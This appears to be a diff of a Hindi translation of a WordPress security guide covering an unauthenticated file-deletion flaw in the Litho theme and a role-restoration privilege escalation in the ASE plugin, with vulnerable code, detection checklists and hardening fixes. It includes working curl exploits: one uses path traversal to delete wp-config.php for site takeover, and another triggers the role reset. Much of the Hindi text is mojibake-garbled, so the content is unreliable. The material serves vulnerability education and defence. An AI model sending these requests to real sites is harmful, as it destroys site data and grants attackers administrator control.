+### wp_ajax_nopriv рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдорд╛рдгрд┐рдХрддрд╛-рд░рд╣рд┐рдд рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд▓реЛрдкрди (Litho Theme <= 3.0)
-WordPress themes and plugins рдЕрдХреНрд╕рд░ AJAX handlers рдХреЛ `wp_ajax_` рдФрд░ `wp_ajax_nopriv_` hooks рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдкреЛрдЬ рдХрд░рддреЗ рд╣реИрдВред рдЬрдм **_nopriv_** variant рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ **callback рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд рд╡рд┐рдЬрд┐рдЯрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдХреЛрдИ рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд░рд┐рдпрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП:
+WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
-1. рдПрдХ **capability check** (рдЙрджрд╛., `current_user_can()` рдпрд╛ рдХрдо рд╕реЗ рдХрдо `is_user_logged_in()`), рдФрд░
-2. рдПрдХ **CSRF nonce** рдЬрд┐рд╕реЗ `check_ajax_referer()` / `wp_verify_nonce()` рд╕реЗ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдФрд░
-3. **рдХрдареЛрд░ рдЗрдирдкреБрдЯ sanitisation / validation**ред
+1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
+2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
+3. **Strict input sanitisation / validation**.
-The Litho multipurpose theme (< 3.1) рдиреЗ *Remove Font Family* рдлреАрдЪрд░ рдореЗрдВ рдЙрди 3 рдирд┐рдпрдВрддреНрд░рдгреЛрдВ рдХреЛ рднреВрд▓ рдЧрдпрд╛ рдФрд░ рдЕрдВрддрддрдГ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб (рд╕рд░рд▓реАрдХреГрдд) рд╢рд┐рдк рдХрд┐рдпрд╛:
+The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@@ -445,31 +443,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
-рдЗрд╕ рд╕реНрдирд┐рдкреЗрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд╕рдорд╕реНрдпрд╛рдПрдБ:
+рдЗрд╕ рд╕реНрдирд┐рдкреЗрдЯ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╕рдорд╕реНрдпрд╛рдПрдБ:
-* **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкрд╣реБрдБрдЪ** тАУ `wp_ajax_nopriv_` hook рдкрдВрдЬреАрдХреГрдд рд╣реИред
-* **рдХреЛрдИ nonce / capability check рдирд╣реАрдВ** тАУ рдХреЛрдИ рднреА рд╡рд┐рдЬрд╝рд┐рдЯрд░ endpoint рдХреЛ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
-* **рдХреЛрдИ path sanitisation рдирд╣реАрдВ** тАУ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд `fontfamily` рд╕реНрдЯреНрд░рд┐рдВрдЧ рдмрд┐рдирд╛ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрде рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝ рджреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рд╕рд┐рдХ `../../` traversal рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
+* **рдЕрдкреНрд░рдорд╛рдгрд┐рдд рдкрд╣реБрдБрдЪ** тАУ `wp_ajax_nopriv_` hook рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
+* **No nonce / capability check** тАУ рдХреЛрдИ рднреА visitor endpoint рдХреЛ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
+* **No path sanitisation** тАУ userтАУcontrolled `fontfamily` string рдмрд┐рдирд╛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЗ filesystem path рдореЗрдВ concatenate рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ classic `../../` traversal рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
-#### Exploitation
+#### рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди
-рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХрд▓ HTTP POST request рднреЗрдЬрдХрд░ **uploads base directory рдХреЗ рдиреАрдЪреЗ** (рдЖрдо рддреМрд░ рдкрд░ `/wp-content/uploads/`) рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ рд╣рдЯрд╛ рд╕рдХрддрд╛ рд╣реИ:
+рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ single HTTP POST request рднреЗрдЬрдХрд░ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдпрд╛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ **uploads base directory рдХреЗ рдиреАрдЪреЗ** (рдЖрдорддреМрд░ рдкрд░ `/wp-content/uploads/`) рд╕реЗ рдбрд┐рд▓реАрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
-Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рд╡рд┐рдЬрд╝рд╛рд░реНрдб* on the next visit, enabling a full site take-over (рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ рдПрдХ рдирдпрд╛ DB configuration рджреЗрддрд╛ рд╣реИ рдФрд░ рдПрдХ admin рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рддрд╛ рд╣реИ).
+рдЪреВрдБрдХрд┐ `wp-config.php` *uploads* рдХреЗ рдмрд╛рд╣рд░ рд░рд╣рддрд╛ рд╣реИ, рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдкрд░ рдЪрд╛рд░ `../` рдЕрдиреБрдХреНрд░рдо рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВред `wp-config.php` рдХреЛ рд╣рдЯрд╛рдиреЗ рдкрд░ рдЕрдЧрд▓реА рд╡рд┐рдЬрд╝рд┐рдЯ рдкрд░ WordPress рдХреЛ *рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рд╡рд┐рдЬрд╝рд╛рд░реНрдб* рдореЗрдВ рдбрд╛рд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреВрд░рд╛ рд╕рд╛рдЗрдЯ рдЯреЗрдХрдУрд╡рд░ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ (рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ рдирдпрд╛ DB рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рджреЗрддрд╛ рд╣реИ рдФрд░ рдПрдХ рдПрдбрдорд┐рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рддрд╛ рд╣реИ)ред
-Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
+рдЕрдиреНрдп рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рд▓рдХреНрд╖реНрдп plugin/theme `.php` files (рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЛ рддреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП) рдпрд╛ `.htaccess` rules рд╣реИрдВред
-#### рдбрд┐рдЯреЗрдХреНрд╢рди рдЪреЗрдХрд▓рд┐рд╕реНрдЯ
+#### Detection checklist
-* рдХреЛрдИ рднреА `add_action( 'wp_ajax_nopriv_...')` callback рдЬреЛ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╣реЗрд▓реНрдкрд░реНрд╕ (`copy()`, `unlink()`, `$wp_filesystem->delete()`, рдЖрджрд┐) рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реЛред
-* рдкрдереЛрдВ рдореЗрдВ рд╕рд╛рдлрд╝ рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдЬреЛрдбрд╝рдирд╛ (рджреЗрдЦреЗрдВ `$_POST`, `$_GET`, `$_REQUEST`)ред
-* `check_ajax_referer()` рдФрд░ `current_user_can()`/`is_user_logged_in()` рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ред
+* рдХреЛрдИ рднреА `add_action( 'wp_ajax_nopriv_...')` callback рдЬреЛ filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, рдЖрджрд┐) рдХреЛ рдХреЙрд▓ рдХрд░реЗред
+* рдкрдереЛрдВ рдореЗрдВ рдЕрд╕реИрдирд┐рдЯрд╛рдЗрдЬреНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХрд╛ рд╕рдВрдпреЛрдЬрди (рджреЗрдЦреЗрдВ `$_POST`, `$_GET`, `$_REQUEST`)ред
+* `check_ajax_referer()` рдФрд░ `current_user_can()`/`is_user_logged_in()` рдХрд╛ рдЕрднрд╛рд╡ред
-#### рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ
+#### рдХрдареЛрд░рдХрд░рдг
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@@ -489,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// ЁЯФТ NO wp_ajax_nopriv_ registration
```
> [!TIP]
-> **рд╣рдореЗрд╢рд╛** рдХрд┐рд╕реА рднреА write/delete рдСрдкрд░реЗрд╢рди рдХреЛ рдбрд┐рд╕реНрдХ рдкрд░ privileged рдорд╛рдиреЗрдВ рдФрд░ рджреЛрдмрд╛рд░рд╛ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:
+> **Always** рдХрд┐рд╕реА рднреА disk рдкрд░ write/delete рдСрдкрд░реЗрд╢рди рдХреЛ privileged рд╕рдордЭреЗрдВ рдФрд░ рдирд┐рдореНрди рдХреА рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:
> тАв Authentication тАв Authorisation тАв Nonce тАв Input sanitisation тАв Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
-### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
+### Privilege escalation: stale role restoration рдФрд░ missing authorization рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ (ASE "View Admin as Role")
-рдХрдИ plugins рдПрдХ "view as role" рдпрд╛ temporary role-switching feature рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдореВрд▓ role(s) рдХреЛ user meta рдореЗрдВ рд╕реЗрд╡ рдХрд░рдХреЗ рдмрд╛рдж рдореЗрдВ restore рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░рдЦрддреЗ рд╣реИрдВред рдпрджрд┐ restoration path рдХреЗрд╡рд▓ request parameters (e.g., `$_REQUEST['reset-for']`) рдФрд░ plugin-maintained рд╕реВрдЪреА рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ capabilities рдФрд░ рд╡реИрдз nonce рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛, рддреЛ рдпрд╣ рдПрдХ vertical privilege escalation рдмрди рдЬрд╛рддрд╛ рд╣реИред
+рдХрдИ plugins "view as role" рдпрд╛ temporary role-switching рдлрд╝реАрдЪрд░ implement рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ original role(s) рдХреЛ user meta рдореЗрдВ рд╕реЗрд╡ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдмрд╛рдж рдореЗрдВ restore рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрджрд┐ restoration path рдХреЗрд╡рд▓ request parameters (рдЙрджрд╛., `$_REQUEST['reset-for']`) рдФрд░ plugin-maintained list рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ capabilities рддрдерд╛ рд╡реИрдз nonce рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛, рддреЛ рдпрд╣ рдПрдХ vertical privilege escalation рдмрди рдЬрд╛рддрд╛ рд╣реИред
-рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдг Admin and Site Enhancements (ASE) plugin (тЙд 7.6.2.1) рдореЗрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ред reset branch рдиреЗ roles рдХреЛ `reset-for=` рдХреЗ рдЖрдзрд╛рд░ рдкрд░ restore рдХрд┐рдпрд╛ рдЕрдЧрд░ username internal array `$options['viewing_admin_as_role_are']` рдореЗрдВ рдореМрдЬреВрдж рд╣реЛ, рд▓реЗрдХрд┐рди current roles рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ user meta `_asenha_view_admin_as_original_roles` рд╕реЗ saved roles рдХреЛ рдлрд┐рд░ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рди рддреЛ `current_user_can()` рдЪреЗрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рди рд╣реА рдХреЛрдИ nonce verification:
+рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдг Admin and Site Enhancements (ASE) plugin (тЙд 7.6.2.1) рдореЗрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ред reset branch рдиреЗ roles рдХреЛ `reset-for=` рдХреЗ рдЖрдзрд╛рд░ рдкрд░ restore рдХрд┐рдпрд╛ рдЕрдЧрд░ username internal array `$options['viewing_admin_as_role_are']` рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рдерд╛, рд▓реЗрдХрд┐рди current roles рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ user meta `_asenha_view_admin_as_original_roles` рд╕реЗ saved roles рдХреЛ рдлрд┐рд░ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рди рддреЛ `current_user_can()` рдЪреЗрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рди рд╣реА nonce verification рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -513,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
-Why itтАЩs exploitable
+рдХреНрдпреЛрдВ рдпрд╣ рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рд╣реИ
-- рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рдмрд┐рдирд╛ `$_REQUEST['reset-for']` рдФрд░ plugin рд╡рд┐рдХрд▓реНрдк рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рддрд╛ рд╣реИред
-- рдпрджрд┐ рдХрд┐рд╕реА user рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ `_asenha_view_admin_as_original_roles` рдореЗрдВ рдЙрдЪреНрдЪ-рдкреНрд░рд╛рдзрд┐рдХрд╛рд░ рд╕рд╣реЗрдЬреЗ рдЧрдП рдереЗ рдФрд░ рдмрд╛рдж рдореЗрдВ рдЙрдиреНрд╣реЗрдВ рдбрд╛рдЙрдирдЧреНрд░реЗрдб рдХрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рд╡реЗ reset path рдХреЛ рд╣рд┐рдЯ рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
-- рдХреБрдЫ deployments рдореЗрдВ, рдХреЛрдИ рднреА рдкреНрд░рдорд╛рдгреАрдХреГрдд user `viewing_admin_as_role_are` рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рдХрд┐рд╕реА рдЕрдиреНрдп username рдХреЗ рд▓рд┐рдП reset рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЯреВрдЯреА рд╣реБрдИ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЬрд╛рдБрдЪ)ред
+- `$_REQUEST['reset-for']` рдФрд░ рдПрдХ plugin option рдХреЛ рдмрд┐рдирд╛ server-side authorization рдХреЗ рднрд░реЛрд╕рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
+- рдЕрдЧрд░ рдХрд┐рд╕реА user рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ `_asenha_view_admin_as_original_roles` рдореЗрдВ higher privileges рд╕рд╣реЗрдЬреЗ рд╣реБрдП рдереЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ downgraded рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рд╡реЗ reset path рдкрд░ рдЬрд╛рдХрд░ рдЙрдиреНрд╣реЗрдВ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+- рдХреБрдЫ deployments рдореЗрдВ, рдХреЛрдИ рднреА authenticated user `viewing_admin_as_role_are` рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рдХрд┐рд╕реА рдЕрдиреНрдп username рдХреЗ рд▓рд┐рдП reset trigger рдХрд░ рд╕рдХрддрд╛ рд╣реИ (broken authorization)ред
-Attack prerequisites
+рд╣рдорд▓реЗ рдХреА рдкреВрд░реНрд╡-рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ
-- рдХрдордЬреЛрд░ plugin рд╕рдВрд╕реНрдХрд░рдг рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдлреАрдЪрд░ рд╕рдХреНрд╖рдо рд╣реЛред
-- рд▓рдХреНрд╖рд┐рдд рдЦрд╛рддрд╛ рдХреЗ user meta рдореЗрдВ рдкрд╣рд▓реЗ рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рдПрдХ рдЕрд╡рд╢рд┐рд╖реНрдЯ рдЙрдЪреНрдЪ-рдкреНрд░рд╛рдзрд┐рдХрд╛рд░ рд░реЛрд▓ рдореМрдЬреВрдж рд╣реЛрдирд╛ред
-- рдХреЛрдИ рднреА рдкреНрд░рдорд╛рдгреАрдХреГрдд рд╕рддреНрд░; reset flow рдкрд░ nonce/capability рдХреА рдХрдореАред
+- Vulnerable plugin version рдЬрд┐рд╕рдореЗрдВ рдпрд╣ feature enabled рд╣реЛред
+- рд▓рдХреНрд╖рд┐рдд account рдХреЗ user meta рдореЗрдВ рдкрд╣рд▓реЗ рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рдПрдХ stale high-privilege role рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
+- рдХреЛрдИ рднреА authenticated session; reset flow рдкрд░ nonce/capability рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрдирд╛ред
Exploitation (example)
```bash
@@ -533,34 +531,34 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for='
```
-On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
+рдХрдордЬреЛрд░ рдмрд┐рд▓реНрдб рдкрд░ рдпрд╣ рд╡рд░реНрддрдорд╛рди рднреВрдорд┐рдХрд╛рдУрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ рдФрд░ рд╕рд╣реЗрдЬреА рдЧрдИ рдореВрд▓ рднреВрдорд┐рдХрд╛рдПрдБ (рдЙрджрд╛., `administrator`) рдлрд┐рд░ рд╕реЗ рдЬреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрдврд╝ рдЬрд╛рддреА рд╣реИрдВред
Detection checklist
-- рдРрд╕реА role-switching рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ user meta рдореЗрдВ тАЬрдореВрд▓ рднреВрдорд┐рдХрд╛рдПрдБтАЭ (рдЙрджрд╛., `_asenha_view_admin_as_original_roles`) рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреА рд╣реИрдВред
-- Identify reset/restore paths that:
-- `$_REQUEST` / `$_GET` / `$_POST` рд╕реЗ usernames рдкрдврд╝рддреЗ рд╣реИрдВред
-- `add_role()` / `remove_role()` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ roles рдмрджрд▓рддреЗ рд╣реИрдВ рдмрд┐рдирд╛ `current_user_can()` рдФрд░ `wp_verify_nonce()` / `check_admin_referer()` рдХреЗред
-- рдХрд┐рд╕реА plugin option array (рдЙрджрд╛., `viewing_admin_as_role_are`) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ authorize рдХрд░рддреЗ рд╣реИрдВ рдмрдЬрд╛рдп actor рдХреА capabilities рдХреЗред
+- рдРрд╕реА role-switching рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ user meta рдореЗрдВ тАЬoriginal rolesтАЭ рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреА рд╣реИрдВ (рдЙрджрд╛., `_asenha_view_admin_as_original_roles`)ред
+- рдЙрди reset/restore paths рдХреА рдкрд╣рдЪрд╛рди рдХрд░реЗрдВ рдЬреЛ:
+- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдореЛрдВ рдХреЛ `$_REQUEST` / `$_GET` / `$_POST` рд╕реЗ рдкрдврд╝рддреЗ рд╣реИрдВред
+- `add_role()` / `remove_role()` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ roles рдХреЛ modify рдХрд░рддреЗ рд╣реИрдВ рдмрд┐рдирд╛ `current_user_can()` рдФрд░ `wp_verify_nonce()` / `check_admin_referer()` рдХреЗред
+- plugin option array (рдЙрджрд╛., `viewing_admin_as_role_are`) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ authorize рдХрд░рддреЗ рд╣реИрдВ рдмрдЬрд╛рдп рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗред
Hardening
-- рд╣рд░ state-changing рдмреНрд░рд╛рдВрдЪ рдкрд░ capability checks рд▓рд╛рдЧреВ рдХрд░реЗрдВ (рдЙрджрд╛., `current_user_can('manage_options')` рдпрд╛ рдЕрдзрд┐рдХ рдХрдбрд╝рд╛)ред
-- рд╕рднреА role/permission рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рд▓рд┐рдП nonces рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ verify рдХрд░реЗрдВ: `check_admin_referer()` / `wp_verify_nonce()`ред
-- рдХрднреА рднреА request-supplied usernames рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВ; authenticated actor рдФрд░ рд╕реНрдкрд╖реНрдЯ рдиреАрддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ target user рдХреЛ server-side рдкрд░ resolve рдХрд░реЗрдВред
-- рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓/role рдЕрдкрдбреЗрдЯреНрд╕ рдкрд░ тАЬoriginal rolesтАЭ рд╕реНрдЯреЗрдЯ рдХреЛ invalid рдХрд░ рджреЗрдВ рддрд╛рдХрд┐ stale рдЙрдЪреНрдЪ-рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬрд╝ рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ:
+- рд╣рд░ рд╕реНрдерд┐рддрд┐-рдкрд░рд┐рд╡рд░реНрддрди рд╢рд╛рдЦрд╛ рдкрд░ capability checks рд▓рд╛рдЧреВ рдХрд░реЗрдВ (рдЙрджрд╛., `current_user_can('manage_options')` рдпрд╛ рдЬрд╝реНрдпрд╛рджрд╛ рд╕рдЦреНрдд)ред
+- рд╕рднреА role/permission рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рд▓рд┐рдП nonces рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ: `check_admin_referer()` / `wp_verify_nonce()`ред
+- рдХрднреА рднреА request-рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП usernames рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВ; рд▓рдХреНрд╖реНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕реНрдкрд╖реНрдЯ рдиреАрддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░реЗрдВред
+- рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓/рд░реЛрд▓ рдЕрдкрдбреЗрдЯреНрд╕ рдкрд░ тАЬoriginal rolesтАЭ рд╕реНрдерд┐рддрд┐ рдХреЛ рдЕрдорд╛рдиреНрдп рдХрд░реЗрдВ рддрд╛рдХрд┐ рдкреБрд░рд╛рдиреА рдЙрдЪреНрдЪ-рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╡рд╛рд▓реА рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
-- рдЕрд╕реНрдерд╛рдпреА рднреВрдорд┐рдХрд╛ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдиреНрдпреВрдирддрдо state рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдФрд░ time-limited, capability-guarded tokens рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред
